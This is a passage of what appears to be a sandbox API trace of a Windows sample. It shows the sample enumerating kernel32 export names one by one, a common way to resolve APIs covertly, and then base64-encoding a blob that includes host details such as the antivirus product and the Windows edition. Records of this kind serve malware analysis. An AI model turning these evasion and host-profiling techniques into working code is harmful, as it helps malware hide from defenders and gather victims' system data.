[0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0093.711] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0093.711] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0093.711] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0093.712] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0093.712] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0093.712] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0093.712] lstrlenA (lpString="CREATEFILEW") returned 11 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0093.712] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0093.712] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0093.712] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0093.712] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0093.712] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0093.712] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0093.712] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0093.712] lstrlenA (lpString="CREATEJOBSET") returned 12 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0093.712] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0093.712] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0093.712] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0093.712] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0093.713] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0093.748] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0093.748] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0093.748] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0093.748] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0093.748] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0093.748] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0093.748] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0093.748] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0093.748] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0093.748] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0093.748] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0093.748] lstrlenA (lpString="CREATEPIPE") returned 10 [0093.748] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0093.748] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0093.748] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0093.749] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0093.749] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0093.749] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0093.749] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0093.749] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0093.749] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0093.749] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0093.749] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0093.749] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0093.749] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0093.749] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0093.750] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0093.750] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0093.750] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0093.750] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0093.750] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0093.750] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0093.750] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0093.750] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0093.750] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0093.750] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0093.750] lstrlenA (lpString="CREATETHREAD") returned 12 [0093.751] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0093.751] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0093.751] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0093.751] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0093.751] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0093.751] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0093.751] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0093.751] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0093.751] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0093.751] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0093.751] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0093.751] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0093.751] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0093.751] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0093.751] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0093.755] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.755] VirtualFree (lpAddress=0x31a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.756] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.756] CloseHandle (hObject=0x464) returned 1 [0095.318] VirtualAlloc (lpAddress=0x0, dwSize=0x769, flAllocationType=0x3000, flProtect=0x4) returned 0x31a0000 [0095.319] CryptBinaryToStringA (in: pbBinary=0x31a0000, cbBinary=0x768, dwFlags=0x40000001, pszString=0x0, pcchString=0x21fe8b4 | out: pszString=0x0, pcchString=0x21fe8b4) returned 1 [0095.319] VirtualAlloc (lpAddress=0x0, dwSize=0x9e1, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0095.320] CryptBinaryToStringA (in: pbBinary=0x31a0000, cbBinary=0x768, dwFlags=0x40000001, pszString=0x31c0000, pcchString=0x21fe8b4 | out: pszString="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", pcchString=0x21fe8b4) returned 1 [0095.321] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.321] VirtualAlloc (lpAddress=0x0, dwSize=0x19bb, flAllocationType=0x3000, flProtect=0x4) returned 0x31d0000 [0095.322] lstrlenA (lpString="kernel32.dll") returned 12 [0095.322] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.322] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0095.322] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0095.322] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0095.322] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0095.322] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0095.322] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0095.322] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0095.322] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0095.322] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0095.322] lstrlenA (lpString="ADDATOMA") returned 8 [0095.322] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0095.322] lstrlenA (lpString="ADDATOMW") returned 8 [0095.322] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0095.322] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0095.322] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0095.323] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0095.323] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0095.323] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0095.323] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0095.323] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0095.323] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0095.323] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0095.323] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0095.323] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0095.323] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0095.323] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0095.323] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0095.324] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0095.324] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0095.324] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0095.324] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0095.324] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0095.324] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0095.324] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0095.324] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0095.324] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0095.324] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0095.325] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0095.325] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0095.325] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0095.325] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0095.325] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0095.325] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0095.325] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0095.325] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0095.325] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0095.325] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0095.325] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0095.325] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0095.325] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0095.325] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0095.326] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0095.326] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0095.326] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0095.326] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0095.326] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0095.326] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0095.326] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0095.326] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0095.326] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0095.326] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0095.326] lstrlenA (lpString="BACKUPREAD") returned 10 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0095.327] lstrlenA (lpString="BACKUPSEEK") returned 10 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0095.327] lstrlenA (lpString="BACKUPWRITE") returned 11 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0095.327] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0095.327] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0095.327] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0095.327] lstrlenA 